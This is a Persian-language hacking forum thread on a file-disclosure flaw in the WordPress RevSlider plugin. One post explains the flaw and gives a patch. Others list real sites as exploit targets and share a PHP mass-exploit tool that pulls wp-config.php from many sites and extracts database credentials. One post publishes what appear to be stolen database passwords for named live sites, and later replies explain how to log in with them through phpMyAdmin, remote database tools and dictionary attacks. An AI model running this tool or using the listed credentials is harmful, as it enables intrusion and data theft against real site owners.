SpareNet Servers Advertising & Link Exchange

اطلاعیه

بستن
هیچ اطلاعیه ای هنوز ایجاد نشده است .

Wordpress RevSlider Plugin LFD Vuln

بستن
X
 
  • فیلتر
  • زمان
  • نمایش
پاک کردن همه
نوشته‌های جدید

  • Wordpress RevSlider Plugin LFD Vuln

    آسیب پذیری Local File Disclosure/Download در پلاگین revslider  وردپرس :

    اکسپلویت :

    کد:
    http://target.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../file.php
    نمونه سایت های آسیب پذیر :

    کد:
    http://www.sorrisniva.no/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
    
    http://ellipse-tech.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
    
    http://www.forairmenfez.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
    
    http://mostmodest.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
    
    http://ladependancehotel.com/site/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
     
    [align=center]مشاجره، نادانی انسان را آشکار می کند و چیزی به مطلب حق او نمی افزاید. امام علی (ع)

    همانا ارزشمند ترين بی نيازی عقل، بزرگ ترين فقر بی خردی، ترسناك ترين تنهايی خود پسندی و گرامی ترين ارزش خانوادگی، اخلاق نيكوست. امام علی (ع)[/align]
     

  • #2
    RE: Wordpress RevSlider Plugin LFD Vuln

    سلامی دوباره خدمت تمامی عزیزان.
    خب با توجه به اینکه هنوز سایت های آسیب پذیر زیادی در سطح اینترنت دارای این آسیب پذیری هستند، لازم دیدم که روش پچ یا برطرف کردن این مشکل امنیتی رو هم کمی شرح بدم.
    در ابتدا به بررسی کلی این آسیب پذیری میپردازیم.
    این باگ بر اثر یک اشتباه برنامه نویسی امن در مسیر revslider/inc_php/framework/ و در فایل image_view.class.php به وجود میاد.
    به شکلی که تابع file_get_contents بدون کنترل پسوند فایل ها اقدام به درخواست فایل مورد نظر کاربر از سرور میکنه به شکل زیر :
    در ابتدا نام و مسیر فایل از کاربر گرفته میشه :

    کد:
            // get thumbnail fielpath by parameters.
            private function getThumbFilepath(){
                $filename = $this->getThumbFilename();
                $filepath = $this->pathCache .$filename;
                return($filepath);
            }
    و سپس فایل از سرور درخواست میشه :

    کد:
                $contents = file_get_contents($filepath);
    خب حالا برای رفع این آسیب پذیری چندین راه وجود داره :
    1- آپدیت پلاگین
    بدون شک بهترین و سریعترین راه آپدیت پلاگین آسیب پذیر هست. چون پس از انتشار آسیب پذیری در سطح اینترنت، برنامه نویسان پلاگین ها سریعاً اقدام به رفع آسیب پذیری می کنند. البته ممکن هست در ورژن آپدیت شده هم مشکلاتی وجود داشته باشه که به اون ها هم میپردازیم.

    2- رفع آسیب پذیری به صورت دستی
    چنانچه مایل هستید این آسیب پذیری رو خودتون برطرف کنید بدون آپدیت پلاگین، مراحل زیر رو طی کنید :
    به مسیری که در بالا اشاره شد مراجعه کرده و فایل image_view.class.php را برای تغییرات باز کنید.
    خط زیر را پیدا کنید :

    کد:
    $ext = strtolower($ext);
    سپس در زیر این خط، کد زیر را اضافه کنید :

    کد:
    $good_extensions = array('jpg', 'png', 'gif', 'jpeg', 'tiff', 'bmp');
     
    if(empty($ext) || !in_array($ext, $good_extensions)){
         header("HTTP/1.1 403 Unauthorized" );
         die('Unauthorized');
     
    }
    توسط این کد ما به این فایل فقط اجازه ی درخواست فایل هایی را از سرور میدیم که دارای پسوندهای 'jpg', 'png', 'gif', 'jpeg', 'tiff', 'bmp' باشند. بنابر این اجازه ی دریافت فایل های دیگر رو از کاربر سلب میکنیم.

    3- پسورد گذاری و یا تغییر مسیر و یا محدود نمودن پوشه مدیریت وردپرس ( wp-admin )
    خب این راه هم راه خوبی به نظر میرسه چون که نه تنها از سوء استفاده ی کاربران در برابر این باگ جلوگیری میکنه، بلکه باعث میشه که سایت شما به درجه ی امنیت بالاتری هم برسه و از شر حملات Brute Force بر روی مدیریت سایت هم خلاص خواهید شد و همچنین چناچه کسی به دیتابیس سایت شما هم دسترسی پیدا کنه، نمیتونه به مدیریت سایت وارد بشه و مراحل آپلود شل رو انجام بده ( البته روش های دیگری هم در این زمینه در انجمن وجود دارند )

    مطالب رو تا جایی که در توانم بود ساده بیان کردم.
    اما فراموش نکنید که در رأس تمام این ها، امنیت سرور ملاک هست که این بحث در این تاپیک نمی گنجه. پس ابتدا سعی کنید برای میزبانی سایتتون سروری رو انتخاب کنید که از امنیت بالایی برخوردار باشه.
    چنانچه دیگر دوستان هم نظری دارند می توانند بیان کنند.
    موفق و پیروز باشید
     
    [align=center]مشاجره، نادانی انسان را آشکار می کند و چیزی به مطلب حق او نمی افزاید. امام علی (ع)

    همانا ارزشمند ترين بی نيازی عقل، بزرگ ترين فقر بی خردی، ترسناك ترين تنهايی خود پسندی و گرامی ترين ارزش خانوادگی، اخلاق نيكوست. امام علی (ع)[/align]
     

    نظر


    • #3
      RE: Wordpress RevSlider Plugin LFD Vuln

      دوستان عزیز از این اکسپلویت که تهیه کارده ام برای راحتی کار می توانید استفاده کنید[img]images/smilies/Smileys/136.gif[/img]
      [php]<html>
      <head>
      <title>Exploits Wordpress</title>
      </head>
      <body style="background-color: rebeccapurple;">

      <pre><p><center style="color: aqua;">

      ================================================== ===========
      =       Exploits Wordpress RevSlider Plugin LFD Vuln        =
      =                                                           =
      =                    Coded by FarbodEZRaeL                  =
      =                    Iranhack Security team                 =
      =                       www.iranhack.com                    =
      =                     Fix bug Other Version                 =
      ================================================== ===========

      <pre><href>
      <form method='POST'>
      <textarea name='sites' cols='45' rows='0'></textarea>
      <br>
      <input type='submit' value='Exploit' />
      </form>

      <?php

      # Coded by FarbodEZRaeL
      # Exploits Wordpress RevSlider Plugin LFD Vuln
      @set_time_limit(0);
      error_reporting(0);
      $sites = explode("\r\n", $_POST['sites']);

      foreach($sites as $site) {

      $site = trim($site);

      $ch = curl_init();
      curl_setopt($ch, CURLOPT_URL, "$site");
      curl_setopt($ch, CURLOPT_HEADER, 1);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
      curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
      $get = curl_exec($ch);
      curl_close($ch);
      if(preg_match("#WordPress (.*?)/>#", $get, $version)){
      $str = str_replace('/>', "", $version[0]);
      $str = str_replace('"', "", $str);
      }
      $users = @file_get_contents("$site/?author=1");
      preg_match('/<title>;(.*?)<\/title>/si',$users,$user);
      $wpuser = explode('|',$user[1]);
      echo " <br>======================================</br>";
      echo "Site : ".$site."<br> Wp User : ".$wpuser[0]."<br> Version : ".$str."<br>";
      $ch = curl_init();
      curl_setopt($ch, CURLOPT_URL, "$site/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php");
      curl_setopt($ch, CURLOPT_HTTPGET, 1);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
      curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
      $xp = curl_exec ($ch);
      curl_close($ch);
      if(preg_match("#DB_USER#i",$xp)){
      preg_match("#'DB_NAME', '(.*?)'#i",$xp,$DB_NAME);
      echo "DB_NAME:{$DB_NAME[1]}<br>";
      preg_match("#'DB_USER', '(.*?)'#i",$xp,$DB_USER);
      echo "DB_USER:{$DB_USER[1]}<br>";
      preg_match("#'DB_PASSWORD', '(.*?)'#i",$xp,$DB_PASSWORD);
      echo "DB_PASSWORD:{$DB_PASSWORD[1]}<br>";
      preg_match("#'DB_HOST', '(.*?)'#i",$xp,$DB_HOST);
      echo "DB_HOST:{$DB_HOST[1]}<br>";

      }

      $lt = array("wp-content/themes/construct/lib/scripts/dl-skin.php","wp-content/themes/persuasion/lib/scripts/dl-skin.php","wp-content/themes/manbiz2/lib/scripts/dl-skin.php","wp-content/themes/method/lib/scripts/dl-skin.php","wp-content/themes/elegance/lib/scripts/dl-skin.php","wp-content/themes/modular/lib/scripts/dl-skin.php","wp-content/themes/myriad/lib/scripts/dl-skin.php","wp-content/themes/echelon/lib/scripts/dl-skin.php","wp-content/themes/fusion/lib/scripts/dl-skin.php","wp-content/themes/awake/lib/scripts/dl-skin.php");
      foreach($lt as $l){
      $site = "$site/$l";
      $process = curl_init($site);
      curl_setopt($process, CURLOPT_TIMEOUT, 30);
      curl_setopt($process, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)");
      curl_setopt($process, CURLOPT_HEADER, TRUE);
      curl_setopt($process, CURLOPT_POST, 1);
      curl_setopt($process, CURLOPT_POSTFIELDS, "_mysite_download_skin=../../../../../wp-config.php");
      curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
      curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
      $return = curl_exec($process);
      if(preg_match("#DB_USER#i",$return)){
      preg_match("#'DB_NAME', '(.*?)'#i",$return,$DB_NAME);
      echo "DB_NAME:{$DB_NAME[1]}<br>";
      preg_match("#'DB_USER', '(.*?)'#i",$return,$DB_USER);
      echo "DB_USER:{$DB_USER[1]}<br>";
      preg_match("#'DB_PASSWORD', '(.*?)'#i",$return,$DB_PASSWORD);
      echo "DB_PASSWORD:{$DB_PASSWORD[1]}<br>";
      preg_match("#'DB_HOST', '(.*?)'#i",$return,$DB_HOST);
      echo "DB_HOST:{$DB_HOST[1]}<br>";
      break;
      echo " <br>-----------------------------------</br>";
      ob_implicit_flush(true);
      ob_end_flush();
      }
      }
      }

      ?>
      </pre></p></center>[/php]
      [align=CENTER]:135:بازی دست ما افتاد:135:

      [/align]

      نظر


      • #4
        RE: Wordpress RevSlider Plugin LFD Vuln

        دوستان گلم اینم چنتا تارگت فعالیت کنید یکی از بهترین باگ هااست
        Exploit
        [php]https://cxsecurity.com/issue/WLB-2014120193[/php]
        target
        [php]
        Site : nmcreative.co.uk
        DB_NAME:web241-a-wordp
        DB_USER:web241-a-wordp
        DB_PASSWORD:7bsMBW!qj
        ==================================================
        Site : springcottagescare.co.uk
        Version : WordPress 3.5.2
        DB_NAME:cl48-spr1ng13
        DB_USER:cl48-spr1ng13
        DB_PASSWORD:fYsg4-HEE
        =================================================
        Site : stgeorgesblackpool.com
        Version : WordPress 4.0
        DB_NAME:cl50-stge0rg3
        DB_USER:cl50-stge0rg3
        DB_PASSWORD:kVh.ytCqC
        =================================================
        Site : puzzledduck.co.uk
        DB_NAME:cl48-duckpu13
        DB_USER:cl48-duckpu13
        DB_PASSWORD:9-JW3MeDk
        ================================================
        Site : blackpoolstanley.com
        Version : WordPress 3.9.1
        DB_NAME:web16-a-wordp-vj
        DB_USER:web16-a-wordp-vj
        DB_PASSWORD:BTdgxs^93
        ================================================
        Site : www.wecredit.co.uk
        Version : WordPress 3.7.1
        DB_NAME:cl43-w3c3d1t13
        DB_USER:cl43-w3c3d1t13
        DB_PASSWORD:GGV^FKfx4
        ==================================================
        Site : ynotaspire.org.uk
        Version : WordPress 4.0
        DB_NAME:cl52-ynot13
        DB_USER:cl52-ynot13
        DB_PASSWORD:d!24rb4NF
        =================================================
        [/php]
        [align=CENTER]:135:بازی دست ما افتاد:135:

        [/align]

        نظر


        • #5
          RE: Wordpress RevSlider Plugin LFD Vuln

          دوستان عزیز

          بخشید بابت اسپم

          ولی مشکل ما در یافتن phpmyadmin

          هست برای لوگین.

          خب ما یوزر پس کانفینگ رو بدست آوردیم ججوری باهاش به سایت لوگین کنیم؟

          نظر


          • #6
            RE: Wordpress RevSlider Plugin LFD Vuln

            ببنید دسترسی به php myadmin در دو سال اخیر کمی سخت تر شده . به دلیل ارتقای سطح امنیتی و بیشتر جاها تغییر نام میدن و یا برای ورود از  Encryption استفاده میکنند .

            اگر سرور از کنترل پنل Direct Admin استفاده کنه بصورت پیشفرض site.com/phpmyadmin هست ، البته تا زمانی  که مسیر را از httpd.conf را تغییر ندهند . روی سرور های سی پنل که دسترسی خیلی سخت تره به دلیل اینکه برای ورود از نوعی Encryption استفاده میشه و بصورت دایرکت نمیشه صفحه مربوطه را لود کرد . البته باز هم بسته به تنظیمات سرور داره . اگر دیتابیس ریموتش فعال باشه که کار راحت تره و شما میتونید براحتی متصل بشین .

            چند ابزار برای پیدا کردن phpmyadmin گذاشتیم میتونید استفاده کنید
            [align=center][/align]

            نظر


            • #7
              RE: Wordpress RevSlider Plugin LFD Vuln

              با اجازه

              شما میتونی از این ابزار ها استفاده کنی
              [php]https://www.dbninja.com/?page=download[/php]
               

              نظر


              • #8
                RE: Wordpress RevSlider Plugin LFD Vuln

                M.Hacking عزیز ابزاری که گذاشتید برای اتصال بصورت ریموت هست و تا زمانی که ریموت سرور فعال نباشه و یا از سرور یه شل نداشته باشیم تا لوکال کانکت بزنیم نمیشه کاری کرد اما در کل ابزار خوبی هست . من ابزار sql yog رو هم پیشنهاد میکنم اما باز هم میگم این ها برای اتصال ریموت  هست ، اگر بخوای کانکت بشی به فرض اینکه config داری :
                • یا باید اتصال ریموت فعال باشه . که میتونی با ابزار هایی مثل همین ابزاری که دوستمون گذاشتن استفاده کنید . (dbninja , sql yog , sql interface , mysql server , ...)
                • یا باید صفحه phpmyadmin را داشته باشید . (بیشتر مواقع تغییر نام میدن با دیکشنری اتک بررسی کنید)
                • یا باید از سرور و یا سایتهای روی سرور دسترسی داشته باشی (به عنوان مثال از یکی از سایتهای روی سرور شل داری و از یک سایت دیگه روی همون سرور کانفیگ لوکال کانکت می شوید.)
                • پورت 3306 را بررسی نمایید .


                در بعضی مواقع هم شرکت های هاستینگ یه ساب میسازن که برای عموم در درسترس باشه تا از اونجا کاربرا مدیریت روی دیتابیس هاشون داشته باشن و اصلا phpmyadmin در کار نیست پس بنا براین باید بررسی دقیقی داشته باشید اگر سایت هدف phpmyadmin نداشت دلیل بر این نمیشه که دیگه تارگت رو بیخیال بشیم و باید احتمال وجود یه ساب اصلی روی خود شرکت رو داد مثل این تارگت :

                کد:
                https://mysqladmin.secureserver.net/22

                بعضی سیستم ها هم از url hash encode استفاده میکنند که خیلی ها میگن میشه بای پس کرد ، اما به این راحتی ها نیست ( ولی همه ما خوب میدونیم کار نشد نداره )

                پیروز باشید و شاد
                [align=center][/align]

                نظر

                صبر کنید ..
                X